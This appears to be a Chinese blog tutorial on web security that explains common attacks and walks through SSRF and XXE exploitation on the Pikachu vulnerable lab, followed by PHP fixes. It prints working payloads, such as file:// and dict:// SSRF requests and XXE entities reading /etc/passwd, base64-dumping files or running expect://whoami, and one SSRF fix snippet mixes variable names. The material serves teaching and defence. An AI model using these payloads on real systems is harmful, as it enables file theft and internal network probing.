Web 安全(Web Security)

💝💝💝欢迎来到我的博客,很高兴能够在这里和您见面!希望您在这里可以感受到一份轻松愉快的氛围,不仅可以获得有趣的内容和知识,也可以畅所欲言、分享您的想法和见解。

推荐:Linux运维老纪的首页,持续学习,不断总结,共同进步,活到老学到老
导航剑指大厂系列:全面总结 运维核心技术:系统基础、数据库、网路技术、系统安全、自动化运维、容器技术、监控工具、脚本编程、云服务等。不同类型针对性训练,提升编程思维,剑指大厂
非常期待和您一起在这个小小的网络世界里共同探索、学习和成长。💝💝💝 ✨✨ 欢迎订阅本专栏 ✨✨

Web 安全
技能目标:
-
了解常见的 Web 攻击类型
-
了解 SSRF、XXE 漏洞的产生原因
-
会搭建 SSRF、XXE 漏洞环境
-
会利用 SSRF、XXE 漏洞
-
会修复和防范 SSRF、XXE 漏洞

5.1 Web 安全风险与法规要求

当前 Web 应用已是企业必不可少的最主要 IT 系统之一。企业门户网站、电商平台等,
给企业带来业绩的同时,也给企业带来高安全风险的挑战。
Facebook、携程网、拼多多等国际国内知名网站,近年都曾爆出因网站存在安全漏洞,
导致用户信息泄露及被攻击等严重安全事件。
随着《网络安全法》和《等保 2.0》的落地,Web 等互联网应用的安全保障,已经不单
单是企业或个人的信息安全需要,而是国家的法律法规强制要求。如果不达标又未依法整改,
企业或个人必然会受到处罚。
以下是近年发生的因网站不安全被罚的典型案例。
哈尔滨市方正县某技术推广中心设立的服务平台网站遭受黑客攻击入侵,在社会上造成
恶劣影响。经查,该网站自开通以来长期无人维护,存在高危安全漏洞并被黑客攻击入侵,
造成严重后果。
以下是涵盖 Web 安全的等保 2.0 标准要求:
《等保 2.0》第二级(7.1.10.5)、三级 (8.1.10.5)和四级(9.1.10.5)关于“漏洞
和风险管理”要求,如下:
a.应采取必要的措施识别安全漏洞和隐患,对发现的安全漏洞和隐患及时进行修补或评
估可能的影响后进行修补。
b.应定期开展安全测评,形成安全测评报告,采取措施应对发现的安全问题。
以上 a、b 项是等保 2.0 三级 (8.1.10.5)和四级(9.1.10.5)的共同要求;等保 2.0
二级(7.1.10.5)仅有一项 a 项要求;等保 2.0 一级标准未定义“漏洞和风险管理”要求。
在等保 2.0 标准中所指的漏洞,既包括 Web 程序漏洞,也包括系统层面和网络层面的漏
洞。本章主要讲解 Web 程序漏洞。

5.2 常见的 Web 攻击方式

在当今的互联网领域,SQL 注入、跨站脚本攻击(Cross site scripting, XSS)(也缩
写为 CSS,为防止和美工的 CSS 混淆,所以业内都简称 XSS)、XML 外部实体注入漏洞(XML
External Entity Injection,XXE)、跨站请求伪造(Cross-site request forgery,CSRF)、
服务端请求伪造(Server-Side Request Forgery,SSRF)等,仍然是 Web 安全的主要威胁。
下面是对这几种安全威胁的介绍。

1. SQL 注入攻击

SQL 注入攻击,指通过把 SQL 命令输入到 Web 表单或页面请求的查询字符串,达到欺
骗服务器执行恶意的 SQL 命令的目的。比如一些影视网站泄露 VIP 会员密码大多就是通过
WEB 表单提交查询窃取的。黑客通过 SQL 注入攻击可以拿到网站数据库的访问权限,之后他
们就可以获得网站数据库中所有的数据,恶意的黑客可以通过 SQL 注入功能篡改数据库中的
数据甚至会把数据库中的数据毁坏掉。

2.跨站脚本攻击

跨站脚本攻击(XSS)指的是攻击者往 Web 页面里插入恶意脚本代码,当用户浏览该页
之时,嵌入其中 Web 里面的脚本代码会被执行,从而达到恶意攻击用户的目的。
XSS 攻击方式比较有代表性的是:反射型攻击和存储型攻击两种类型。

(1)XSS 反射型攻击

XSS 反射型攻击,又称非持型 XSS。恶意代码并没有保存在目标网站,而是通过引诱用
户点击一个含有恶意脚本代码的链接来实施攻击。图 5.1 展示了常见的 XSS 反射型攻击的攻
击流程。
图 5.1 XSS 反射型攻击

(2)XSS 存储型攻击

XSS 存储型攻击,又称持久型 XSS。恶意代码被保存到目标网站的服务器中,当用户访
问这些页面时,就会自动执行其中的 XSS 语句。比较常见场景是在博客、论坛等社交网站上,
比如:攻击者在发帖、留言的过程中,将恶意 XSS 脚本连同正常信息注入内容。随着帖子,
恶意 XSS 脚本也被保存在服务器中。当其他用户浏览帖子或者留言时,恶意 XSS 脚本会在他
们的浏览器中执行。
XSS 攻击可以窃取 Cookies 信息,读取 Cookies 发送到黑客服务器;也可以窃取用户资
料,如:邮件列表、系统的客户资料、联系人列表等等。它可以获取用户的联系人列表,然
后向联系人发送虚假诈骗信息等等。图 5.2 展示的是 XSS 存储型攻击的流程。
图 5.2 XSS 存储型攻击

3. XML 外部实体注入漏洞

XML 外部实体注入漏洞,又称 XXE 漏洞。XXE 漏洞发生在应用程序解析 XML 输入时,没
有禁止外部实体的加载,会导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、
内网端口扫描、发起 Dos 攻击等危害。

4.跨站请求伪造

跨站请求伪造(CSRF)与“跨站脚本攻击(Cross Site Scripting)”名字上比较相似,
但它与 XSS 的攻击方法完全不一样。XSS 利用漏洞影响站点内的用户,攻击目标是同一站点
内的用户,而 CSRF 则是通过伪装成受害用户向其他站点发送恶意请求,造成用户的利益受
损。
比如:网站 A 有 CSRF 漏洞,网站 B 是一个恶意网站。当用户没有退出 A 网站,或者用
户登录 A 网站的 cookie 没有过期,只要在同一个浏览器中打开了网站 B,攻击者就可以利
用用户在 A 网站的身份和权限,进行恶意操作。CSRF 攻击过程如图 5.3 所示。
图 5.3 CSRF 攻击

5. 服务端请求伪造

服务器端请求伪造(SSRF)) 是一种由攻击者构造形成由服务端发起请求的安全漏洞。
由攻击者构造的攻击链接传给服务端执行,一般用来在外网探测或攻击内网服务。正是因为
它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统。SSRF 的攻击
过程如图 5.4 所示。
图 5.4 SSRF 攻击
Web 攻击对计算机系统的安全会造成较大的威胁,本小节介绍了几种常见 Web 攻击方式
及其攻击过程希望对相关工作人员提供一定的参考作用,有效的找到防止攻击的方法。

5.3 SSRF 漏洞分析

下面以 SSRF 为例,分析 SSRF 漏洞的成因、漏洞利用以及修复方法。

1.漏洞成因

SSRF 形成的大部分原因是由于服务端提供了从其他服务器获取应用数据的功能,且没
有对目标地址进行 URL 过滤与限制的处理。

2.漏洞利用

通常,黑客利用 SSRF 漏洞进行下面的攻击。

(1)扫描内网主机及端口

构造 payload(即攻击代码)可请求本地端口或批量扫描内网主机和端口获取 banner
信息。

(2)本地文件读取

可使用 File 文件协议构造系统默认路径读取本地系统文件或根据路径信息泄露读取其
他配置文件。例如:
Linux 下:file:///etc/passwd
Windows 下:file:///c:\Windows\win.ini

(3)构造 POC/EXP 攻击服务器

可根据任意主机开放的任意端口,寻找对应漏洞,构造 payload 攻击。例如 Redis 未授
权访问使用 dict://127.0.0.1:6379/info,获得 Redis 版本以及运行状态的关键信息。

(4)DDOS 攻击

构造攻击请求,请求大文件,将请求的 HTTP 连接状态始终保持为 Keep-Alive Always,
造成服务器拒绝服务攻击。

3. 可利用协议

Web 网站如果存在 SSRF 漏洞,攻击者可利用多种协议对网站发起攻击。以下是 SSRF 攻
击可利用的常见协议。

(1)HTTP/HTTPS

直接构造 HTTP 请求,例如:http://www.xxx.com:80,可根据端口响应时间判断端口是否
开放。

(2)DICT

DICT 协议是一个字典服务器协议,该协议约定服务器端侦听端口号:2628。
若系统存在 Redis 服务,可通过 dict://127.0.0.1:6379/info 利用漏洞获取 Redis 信
息。

(3)File

可 利 用 File 协 议 进 行 本 地 文 件 读 取 操 作 , 例 如 在 Linux 系 统 下 , 可 以 利 用
file:///etc/shadow 读取本地密码文件内容。

(4)Gopher

Gopher 属于万能协议,可转换为任意协议。能够将所有操作转成数据流,并将数据流
一次发出去。所以,可以用来探测内网的所有服务的所有漏洞。

(5)TFTP

TFTP 为一个文件传输协议,可通过构造请求传输文件内容。

5.4 SSRF 案例介绍

上述内容介绍了漏洞产生原理和利用漏洞攻击的一些方法,下面将通过搭建靶机环境展
示在模拟环境下对 SSRF 漏洞的利用攻击,以及在靶机的环境下,演示漏洞的攻击效果,可
更直观的了解漏洞所造成的影响。下面从靶机环境搭建再到动手实践,演示漏洞的攻击方法
及防护策略,亲身体验 SSRF 漏洞攻击与防护的较量。

5.4.1 SSRF 案例环境

1.基本环境配置

本案例实验环境配置,如表 5-1 所示。
表 5-1 案例环境
主机操作系统IP 地址主要软件
攻击机
(物理机)
Windows10 版本 64 位系统192.168.0.103
Firefox 60.0.2
VMware Workstation 12 pro
Notepad++v7.7.1
靶机
(虚拟机)
WindowsServer
2012
R2
Standard 64 位系统
192.168.0.230
phpStudy2014Web 环境
Redis3.2.100
pikachu 漏洞靶机环境
Notepad++v7.7.1

2.案例工具介绍

(1)phpStudy 2014 Web 环境

该程序包集成最新的 Apache+PHP+MySQL+phpMyAdmin,一次性安装,无须配置即可使用,
是非常方便、好用的 PHP 调试环境。该程序不仅包括 PHP 调试环境,还包括了 PHP 的开发工
具、开发手册等。
在本章 SSRF 和 XXE 案例中,为 pikachu 漏洞环境提供 Web 服务。

(2)Redis3.2.100 数据库

Redis 是一个开源的使用 ANSI C 语言编写、支持网络、可基于内存亦可持久化的日志
型、Key-Value 数据库,它提供了多种语言的 API。
本章 SSRF 案例中需要安装 Redis 服务,并通过 SSRF 利用 Redis 未授权访问漏洞。

(3)Pikachu 漏洞靶机环境

Pikachu 是一个带有漏洞的 Web 应用系统,在系统中包含了常见的 web 安全漏洞。
在本章 SSRF 和 XXE 案例中,将使用 Pikachu 系统中的 SSRF 漏洞环境和 XXE 漏洞环境,
来演示 ssrf 漏洞和 XXE 漏洞的利用。

(4)Notepad++v7.7.1

Notepad++ v7.7.1 官方版是一款免费开源的全能文本代码编辑器。它是小巧高效的文本编辑器、支持语法高亮的开源纯文本编辑器,并且可以替代系统自带的记事本的功能,资
源占用小,支持众多程序语言,比如 C++、C#、Java 等主 流程序语言;支持 HTML、XML、
ASP,Perl、Python、JavaScript 等网页/脚本语言。
完成本案例不建议使用 Windows 自带的记事本编辑器,Windows 记事本编辑器功能单一
使用不便,易导致异常问题。

5.4.2 环境搭建

本小节将开始搭建漏洞靶机环境。以下步骤将先搭建并配置 phpStudy 环境以提供 Web
及 PHP 服务,其中 Redis 作为本案例实施过程中所需要用到的服务,故需提前配置完成。最
后部署 Pikachu 漏洞靶机环境提供本案例所对应的 SSRF 漏洞环境。

1.下载所需工具

Pikachu 靶机下载地址:https://github.com/zhuifengshaonianhanlu/pikachu
phpStudy2014 官网下载地址:http://phpstudy.php.cn
Redis 下载地址:http://redis.io/download
2.安装 phpStudy 软件
下面是 phpStudy 软件的安装步骤。
(1)在靶机(192.168.0.230)上安装 phpStudy 软件,如图 5.5 所示。
图 5.5 安装 phpStudy
(2)点击“下一步”按钮,进入 phpStudy 安装导航对话框,如图 5.6 所示。
图 5.6 phpStudy 安装导航
此处需选择安装路径,保持默认 C:\phpStudy。
(3)继续点击“下一步”按钮,进入指定 PHP 安装路径的界面,如图 5.7 所示。
图 5.7 PHP 安装路径
选择 PHP 安装路径,也是网站根目录路径,这里使用 C:\WWW。
(4)继续点击“下一步“按钮,进入选择安装方式的界面,如图 5.8 所示。
图 5.8 选择安装方式
选择安装方式,默认为完全安装,保持默认值。
(5)继续点击“下一步”按钮,进入确认安装文件夹界面,如图 5.9 所示。
图 5.9 确认安装文件夹
此步骤需给 phpStudy 的快捷方式命名,本案例保持默认值。
(6)继续点击“下一步”按钮,进入准备安装的界面,如图 5.10 所示。
图 5.10 准备安装
(7)在图 5.10 中点击“安装”按钮之后,根据提示信息向下执行。直至安装完成,如
图 5.11 所示。
图 5.11 安装完成
(8)稍等片刻可看到安装完成界面。点击“完成”按钮,打开 phpStudy 管理界面,如
图 5.12 所示。
图 5.12 phpStudy 管理界面
(9)在图 5.11 界面,点击“完成”按钮后,会同时打开 phpStudy 使用手册。可先查看
使用手册了解 phpStudy 的使用方法。如果不需查看使用手册,可直接使用 phpStudy 环境,
如图 5.12 所示。此时 Apache 服务和 MySQL 服务在安装完成后均可以自行启动。

3.配置 phpStudy 软件

下面进行靶机环境配置,操作步骤如下。
(1)打开 phpStudy,找到 php.ini 文件,如图 5.13 所示。
图 5.13 文件位置
(2)打开 php.ini 文件,找到下列两个参数,将参数值修改为 on。
allow_url_include = On(需要手动开启)
allow_url_fopen = On(默认为开启)
注意:若保存时报错,关闭 phpStudy 并重新以管理员权限打开。参数值修改界面,如
图 5.14 所示。
图 5.14 修改参数值

4.安装 Redis 服务

安装 Redis 服务的步骤如下

(1)在靶机中(192.168.0.230)双击安装包并进入安装界面,如图 5.15 所示。

5.15 Redis 安装

(2)点击“Next”按钮进入协议确定界面,如图 5.16 所示。
图 5.16 同意协议
(3)勾选复选框,表示同意协议,点击“Next”按钮,如图 5.17 所示。
图 5.17 安装目录
(4)选择本案例的安装位置为“C:\Redis”,点击“Next”按钮,如图 5.18 所示。
图 5.18 服务端口
(5)此处需设置服务开放端口,默认为 6379,此处保持默认值。点击“Next”按钮,
如图 5.19 所示。
图 5.19 设置内存
(6)此处保持限制 Redis 服务占用的内存空间的默认值,点击“Next”按钮,如图 5.20
所示。
5.20 安装准备
(7)进入安装前准备阶段,直接点击“Install”按钮,开始安装 Redis 服务,如图 5.21
所示。
图 5.21Redis 安装完成
至此,Redis 安装完成并启动。

5.部署 pikachu 漏洞环境

部署 pikachu 环境的步骤如下。
(1) pikachu 下载后解压,将目录名修改为 pikachu;放置于 C:\WWW 目录下,修改
pikachu 目录下 inc/config.inc.php 里面的数据库连接配置,需要注意:phpStudy 安装完后
默认用户名和密码都为 root。如图 5.22 所示。
图 5.22 连接配置
(2)在浏览器打开“http://192.168.0.230/pikachu”,如图 5.23 所示。首先要进行初始
化安装,点击右上方的文字“提示:欢迎使用 pikachu 还没有初始化,点击进行初始化安装!”,
进行初始化安装。
图 5.23 靶机主页
(3)进入系统初始化安装界面后,点击“安装/初始化”按钮,如图 5.24 所示。
图 5.24 初始化
(4)初始化完成后,会显示连接成功提示,如图 5.25 所示。
图 5.25 初始化完成
(5)切换 PHP 版本,点击 phpStudy 中的“PHP 版本”按钮,如图 5.26 所示。
图 5.26 php 版本
(6)在图 5.27 界面中,勾选“apache+php5.4n”单选框,点击“应用”按钮将会切换
php 版本,并自动重启 apache 与 php 服务。
图 5.27 php 版本
(7)PHP 版本切换完成后,在靶机环境初始化完成界面。点击“点击这里”按钮,进入
靶机首页,如图 5.28 所示。
图 5.28 “点击这里”进入首页
(8)在靶机首页,左侧导航栏下方找到并点击“ssrf(curl)”按钮,如图 5.29 所示。
图 5.29 点击“ssrf(curl)”按钮
(9)看到如图 5.30 所示界面。至此,靶机配置完成。
图 5.30 ssrf 漏洞效果起始页
5.4.3 攻击展示
下面是 SSRF 漏洞攻击演示的步骤。
(1)在图 5.26 中,点击“累了吧,来读一首诗吧”,如图 5.31 所示。
图 5.31 SSRF 漏洞效果展示页
在图 5.31 中,URL 参数为 http://xxxxx 字样,证明服务器向另一个服务器发起请求。
若向另一个服务器发起请求时过滤不严,可能导致 SSRF 漏洞。
(2)尝试构造请求,获取本地系统文件内容 file:///C:\Windows\win.ini,浏览器访问
http://192.168.0.230/pikachu/vul/ssrf/ssrf_curl.php?url=file:///C:\Windows\win.
ini,如图 5.32 所示

图 5.32 ssrf 漏洞测试
图 5.32 中,使用 File 协议成功读取了服务器本地系统文件 win.ini,可见 ssrf 漏洞
存在。
( 3 ) 在 攻 击 机 上 使 用 dict 协 议 探 测 靶 机 本 地 \ 内 网 端 口 构 造 请 求 内 容
dict://127.0.0.1:3306 , 添 加 到 “ url= ” 后 , 实 际 URL 地 址 http://192.168.0.230/pikachu/vul/ssrf/ssrf_curl.php?url=dict://127.0.0.1:3306,Q
敲入回车键后,返回 MySQL 的版本信息以及 MySQL 存储密码的加密方式,如图 5.33 所示。
图 5.33 dict 协议展示
(4)ssrf 也可以利用内网系统程序漏洞,例如 Redis 未授权漏洞利用。首先在靶机环
境 启 动 Redis 服 务 , 切 换 到 Redis 安 装 目 录 下 执 行 命 令 redis-server.exe
redis.windows-service.conf 启动 Redis-server 服务,然后执行 redis-cli.exe 进入 Redis
客户端,如图 5.34 所示。
图 5.34 Redis 启动
(5)在攻击机上构造攻击请求 dict://127.0.0.1:6379/info,利用 ssrf 执行 Redis 未
授权访问漏洞,获取 Redis 信息,如图 5.35 所示。
攻击者从中可以获得 Redis 的大量配置及运行信息,比如:版本号 3.2.100,采用
standalone 单机模式部署,操作系统为 Windows,在线时间为 2 天,以及后面的内存、CPU
资源使用情况等。
图 5.35 Redis 未授权访问
5.4.4 防护措施
根据上述演示对 ssrf 漏洞常见的利用方法,可以制定出一些对漏洞的修复方案。本小
节从开发者的角度,对产生漏洞的代码进行修复措施。
1.限制访问协议
找到漏洞文件 C:\WWW\pikachu\vul\ssrf\ssrf_curl.php,用记事本打开,代码如下所
示:禁用不需要的协议,仅仅允许 http 和 https 请求。
function curl($url){
$ch = curl_init();
curl_setopt($CH, CURLOPT_URL, $url);
curl_setopt($CH, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_setopt($CH, CURLOPT_HEADER, 0);
curl_exec($CH);
curl_close($CH);
}
$url = $_GET['url'];
修复代码如图 5.36 所示。
图 5.36 允许访问协议
此时不允许使用 dict 协议。当然除 https 以外,其他任何协议都将无任何信息返回,
这样可以有效地防止通过 File 协议读取本地文件或通过 dict 协议探测端口。使用 dict 协
议探测端口的界面效果如图 5.37 所示。之前能读取的 MySQL 的数据库版本等信息,现在已
无法再读取,可与图 5.33 进行比较代码修复前后的差别。
图 5.37 修复后执行 dict 协议攻击展示
2.统一错误信息
统一错误信息是为了避免攻击者根据错误信息来判断远端服务器的端口状态。
此处,可以通过对协议的判断,自定义统一错误回显,代码如下:
if (in_array(parse_url($url)['scheme'], ['http','https'])){
echo curl($url);
}
else {
echo 'happen the error';
}
修复代码如图 5.38 所示。
图 5.38 统一错误信息
此时,攻击者如果企图利用 http/https 以外的协议进行攻击,都是返回 happen the
error,这样可有效防止攻击者根据返回信息得到有效信息。如图 5.39 所示。
图 5.39 错误信息
5.5 XXE 漏洞分析
在 5.2 节中,简单介绍了 XXE 漏洞。要了解 XXE 漏洞的形成原因 ,需要先了解 xml 语
言的基本概念,接下来将从 XML 文档组成、DTD 文档及 DTD 实体三方面讲述 XML 语言。
5.5.1 XML 文档介绍
XML 用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,
它是一种允许用户对自己的标记语言进行定义的源语言。
1.XML 文档结构
XML 文档结构包括 XML 声明、DTD 文档类型定义(可选)、文档元素,如下代码展示的
是 XML 文档结构。
<!--XML 声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)><!--定义 note 元素有四个元素-->
<!ELEMENT to (#PCDATA)><!--定义 to 元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义 from 元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义 head 元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义 body 元素为”#PCDATA”类型-->
]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
2.DTD 文档类型定义
DTD 的英文全称是“The document type definition”,即是文档类型定义,可定义合
法的 XML 文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明
于 XML 文档中,也可作为一个外部引用。DTD 分为两种构建方式,内部声明 DTD 和引用外
部 DTD:
(1)内部声名 DTD
<!DOCTYPE 根元素 [元素声明]>
(2)引用外部 DTD
<!DOCTYPE 根元素 SYSTEM "文件名">
(3)DTD 中包含一些重要的关键字:
DOCTYPE(DTD 的声明)
ENTITY(实体的声明)
SYSTEM、PUBLIC(外部资源申请)
3.DTD 实体
DTD 实体是用于定义引用普通文本或特殊字符的快捷方式的变量, 按实体的存在形式分
为:内部实体和外部实体。
(1)内部实体
内部实体在一个 XML 文档的内部定义,只能在该文档内部引用。就像子程序中的局部变
量,只在该程序中生存。如果子程序退出,它也就随之消亡。
<!ENTITY 实体名称 "实体内容">
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer "Bill Gates">
]
<test>&writer;©right;</test>
(2)外部实体
外部实体在文档中必须通过 URL 才能定位,外部实体为独立的文件,可以被多个文档所
引用。XML 通过对外部实体的引用,可以在一个 XML 文档中嵌入另一个 XML 文档,或者将多
个文档组合为一个文档。
<!ENTITY 实体名称 SYSTEM "URI">
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer SYSTEM "http://www.test.com.cn/entities.dtd">
]
<author>&writer;©right;</author>
5.5.2 XXE 漏洞成因和利用
接下来讲解 XXE 漏洞的成因和利用知识。
1.漏洞成因
XXE 漏洞的产生正是因为在引用外部实体时,未对实体内容(上述外部实体中
http://www.test.com.cn/entities.dtd)进行过滤,导致可构造恶意内容攻击服务器。
2.漏洞利用
XXE 漏洞有很多种利用方式,可以利用多种协议进行攻击,不管是任意文件读取还是命
令执行都可以利用 XXE 来完成,可以说影响非常大。
(1)内网端口探测内网端口
利用 XXE 漏洞,通过构造 payload(攻击代码)可以从互联网探测目标网站的内网服务
器端口开放情况。例如利用 http 协议,进行内网端口探测,代码如下。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[ <
!ENTITY xxe SYSTEM "http://10.100.200.2:8080/slfe/"> ]>
<login>&xxe;</login>
通过返回信息,就可以知道内网这台服务器的 8080 端口是否开放。
(2)本地文件读取
可使用 file 文件协议构造系统默认路径读取本地系统文件或根据路径信息泄露读取其
他配置文件。例如:
Linux 下:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY passwd SYSTEM "file:///etc/passwd">]>
<a>
<value>&passwd;</value>
</a>
Windows 下:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY passwd SYSTEM "file:///c:/Windows/win.ini ">]>
<a>
<value>&passwd;</value>
</a>
(3)执行系统命令
在安装 expect 扩展的 PHP 环境下,可通过如下代码来执行系统命令。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY passwd SYSTEM "expect://whoami">]>
<a>
<value>&passwd;</value>
<a>
(4)执行 DDOS 攻击
构造请求,请求多个实体并相互调用,造成服务器拒绝服务。例如:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY test “test” >
<!ENTITY test1 “&test; &test; &test; &test; &test;” >
<!ENTITY test2 “&test1; &test1; &test1; &test1; &test1;” >
]>
<a>
<value>&passwd;</value>
</a>
3.可利用协议
XXE 漏洞使攻击者可利用 HTTP 协议、PHP 协议、File 协议等多种协议执行攻击。
(1)HTTP 协议
攻击者可以直接构造实体内容为 HTTP 请求,例如:http://www.xxx.com:80,可根据端口
响应信息判断端口是否开放。
(2)PHP 协议
攻击者可直接利用 PHP 协议构造下面内容的实体,将“index.php”文件的内容进行
base64 编码,然后进行读取。
“php://filter/read=convert.base64-encode/resource=index.php”
(3)File 协议
攻击者可利用 File 协议进行本地文件读取操作,例如在 Linux 系统下,则可以构造实
体内容为 file:///etc/shadow 读取本地密码文件内容。
5.6 XXE 案例介绍
XXE 漏洞在利用上涉及 XML 的知识较多,在利用漏洞进行攻击时使用的 payload 也较为
复杂,漏洞所造成的危害很大。下面将通过搭建靶机环境展示 XXE 漏洞的利用及攻击效果,
可更直观的体现漏洞所造成的影响。
5.6.1 环境介绍
本案例实验环境配置,如表 5-2 所示。
表 5-2 本章案例的实验环境
主机操作系统IP 地址主要软件
攻击机
(物理机)
Windows10 版本 64 位系统192.168.0.103
Firefox 60.0.2
VMware Workstation 12 pro
Notepad++v7.7.1
靶机
(虚拟机)
WindowsServer
2012
R2
Standard 64 位系统
192.168.0.230
phpStudy2014Web 环境
pikachu 漏洞靶机
Notepad++v7.7.1
5.6.2 环境搭建
按下面步骤完成实验环境的搭建工作。
1.安装 phpStudy 软件
如果在前面案例中已部署,可向下执行。如果独立部署本案例,操作步骤可参见 5.4.2
中“安装 phpStudy 软件”和“配置 phpStudy 软件”相关内容。
2.部署 pikachu 漏洞环境
如果在前面案例中已部署,可向下执行。如果独立部署本案例,操作步骤可参见 5.4.2
中“部署 pikachu 漏洞环境”的相关内容。
(1)靶机部署完成后,在左侧导航栏中找到 XXE 漏洞如图 5.40 所示。
图 5.40 XXE 漏洞位置
(2)点击“XXE 漏洞”超链接,进入 XXE 漏洞环境,如图 5.41 所示。
图 5.41 XXE 漏洞
5.6.3 攻击展示
部署了案例的环境后,便可以开始尝试漏洞实战。下面操作均在攻击机上执行的具体操
作。
(1)构造 XML 数据
在图 5.42 输入框中输入任意字符,点击“提交”按钮后,获得提示信息“XML 声明、
DTD 文档类型定义、文档元素这些都搞懂了吗?”,说明请求出错,需要自己构造 XML 数据。
如图 5.42 所示。
图 5.42 提示信息
构造 XML 数据的代码如下:
<?xml version = "1.0"?>
<!DOCTYPE note [
<!ENTITY hacker "ESHLkangi">
]>
<name>&hacker;</name>
将以上代码,复制到图 5.43 的输入框中。注意:输入框中只能单行粘贴,为了防止粘
贴不全,可在记事本中将以上代码合并成一行,再贴入。
图 5.43 DTD 实体
接着,点击“提交”按钮。查看程序是否可以解析 DTD 实体,输出 ESHLkangi。
在图 5.43 中,页面输出“ESHLkangi”,证明此处可解析 XML 数据,并且没有禁用实体
引用。
(2)尝试构造请求
下面是尝试构造请求的代码:
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///c:/Windows/win.ini">
]>
<x>&f;</x>
将以上代码,复制到图 5.44 的输入框中,点击“提交”按钮。可成功读取到本地系统
文件 file:///C:/Windows/win.ini 的内容,如图 5.44 所示。使用 File 协议读取本地文件,
由此可知 XXE 漏洞存在。
图 5.44 文件读取
(3)继续构造请求
编辑一个 test.php 文件,输入一些内容。本案例中输入的字符串是“this is a
testdata”,将 test.php 文件保存在 C:\WWW 目录下,然后将下列字符串拷贝到图 5.45 的
输入框中,点击“提交”按钮。注意:由于靶机环境的原因,请使用英文测试,中文会出现
异常。
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM
"http://192.168.0.230/test.php"> ]><x>&f;</x>
如图 5.45 所示,在点击了“提交”按钮后,因为存在 XXE 漏洞,所以利用 http 协议成
功解析读取了存放在服务器上面的 test.php 文件的内容。
图 5.45 文件读取 1
再编辑一个 test.txt 文件测试,输入一些内容。本案例输入的是“this is a text page”
并保存在 C:\WWW 目录下,然后将下列代码复制粘贴到输入框中。
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM
"http://192.168.0.230/test.txt"> ]><x>&f;</x>
点击“提交”按钮,如图 5.46 所示。
图 5.46 文件读取 2
​​​​​​​在点击了“提交”按钮后,因为存在 XXE 漏洞,所以利用 http 协议成功解析读取了存
放在服务器上面的 test.txt 文件的内容。
(4)利用 php 协议来读取文件
对于 XXE 漏洞也可以利用 php 协议来获得文件内容,并把文件内容加密为 base64 格式
进行读取。这样的做法可避免由于文件内容存在特殊字符而导致文件读取失败。
首先,在 c 盘根目录下创建一个 password.txt 的文本文件,内容为“123456”。
<!DOCTYPE ANY [ <!ENTITY f SYSTEM
"php://filter/read=convert.base64-encode/resource=c:/password.txt">
] ><x>&f;</x>
然后,将下列代码复制粘贴到输入框中,点击“提交”按钮,如图 5.47 所示。
图 5.47 PHP 协议
点击“提交”按钮后,成功读取文本内容并转换成了 Base64 格式。
再使用在线 base64 解密网站 http://tool.chinaz.com/Tools/Base64.aspx,解密字符
串得文件内容为“123456”,如图 5.48 所示。
图 5.48 base64 解密
至此,成功获得 c:/password.txt 文件内容并用 base64 加密。
通过上面的演示,可以得知:对于存在 XXE 漏洞的网站,攻击者利用 HTTP 协议、File
协、PHP 协议,可以成功窃取服务器上的文件内容,而这些文件很可能是企业的私密文件。
5.6.4 防护措施
XXE 漏洞存在是因为 XML 解析器解析了用户发送的不可信数据。可以采用禁用外部实体
和过滤用户提交的 XML 数据等方法来防范 XXE 攻击。下面是具体的修复操作步骤。
(1)禁用外部实体
修改靶机环境(192.168.0.230)漏洞文件,在 c:\WWW\pikachu\vul\XXE\XXE_1.php
中,加入如下代码。
libxml_disable_entity_loader(true);
//加入此行代码,禁用外部实体
$
data = @simplexml_load_string($xml);
//此行去掉 LIBXML_NOENT 等参数
修复后,代码如图 5.49 所示。
图 5.49 漏洞修复 1
通过上面的设置,外部实体被禁用,再用前面加载外部实体窃取本地文件内容的方法进
行攻击,在输入框中输入以下代码,发现返回信息为空。攻击已经失效,原来能够成功窃取
的文件内容,现在已经无法获得,如图 5.50 所示。
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///c:/Windows/win.ini">
]>
<x>&f;</x>
攻击已经失效,原来能够成功窃取的文件内容,现在已经无法获得,如图 5.50 所示。
图 5.50 漏洞利用失败
(2)过滤用户提交的 XML 数据
修改靶机环境(192.168.0.230)漏洞文件 c:\WWW\pikachu\vul\XXE\XXE_1.php 中的
过滤关键词:<!DOCTYPE 和<!ENTITY,或者 SYSTEM 和 PUBLIC,须增加代码下面示例中加粗
的代码。
// libxml_disable_entity_loader(true);
$string = array(
'<!DOCTYPE',
'<!ENTITY',
'SYSTEM',
'PUBLIC'
);
if(isset($_POST['submit']) and $_POST['xml'] != null){
$xml =$_POST['xml'];
$data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
$body = file_get_contents('php://input');
//
echo "--- 获取到的原始数据--- \r\n".$body;
foreach ($string as $value) {
if (strstr($body,$value)){
echo 'request not allowed';
return;
}
else{if($data){
$html.="<pre>{$data}</pre>";
}
else{
